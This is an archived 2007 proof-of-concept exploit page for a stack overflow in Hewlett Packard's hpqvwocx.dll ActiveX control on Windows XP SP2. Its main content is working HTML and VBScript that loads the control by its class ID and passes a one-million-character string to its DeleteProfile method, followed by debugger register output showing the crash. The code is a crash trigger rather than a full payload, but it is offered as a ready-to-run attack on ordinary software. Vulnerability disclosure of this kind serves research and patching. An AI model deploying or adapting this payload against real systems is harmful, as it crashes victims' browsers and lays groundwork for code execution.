Hewlett Packard 1.0.0.309 hpqvwocx.dll ActiveX Magview Overflow PoC

2007-05-11 00:00:00

<html>

<head>

<title>

Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309

</title>

</head>



<h4>Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309<br>

Tested in Windows XP Service Pack 2<br>

Discovered by Goodfellas Security Research Team<br>

Url ->http://www.hp.com<br> author -> callAX<br>mail -> [email protected]<br>

http://www.shellcode.com.ar / http://www.securenetworks.ch</h4>



<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='pAF' ></object>



<input type="button" value="Boom" language="VBScript" OnClick="OuCh()">



<script language="VBScript">



sub OuCh()



Var_0 = String(1000000, "A")



pAF.DeleteProfile Var_0



End Sub





</script>



</html>



<!--



Tested in OllyDBG 1.08b



TEST DWORD PTR DS:[ECX],EAX



EAX -> 000ED484

ECX -> 000425F4

EDX -> 00000000

EBX -> 00000000

EIP -> 04B47B97



Sub DeleteProfile (

ByVal Name As String

)



-->

#

Fixes

No fixes

In order to submit a new fix you need to be registered.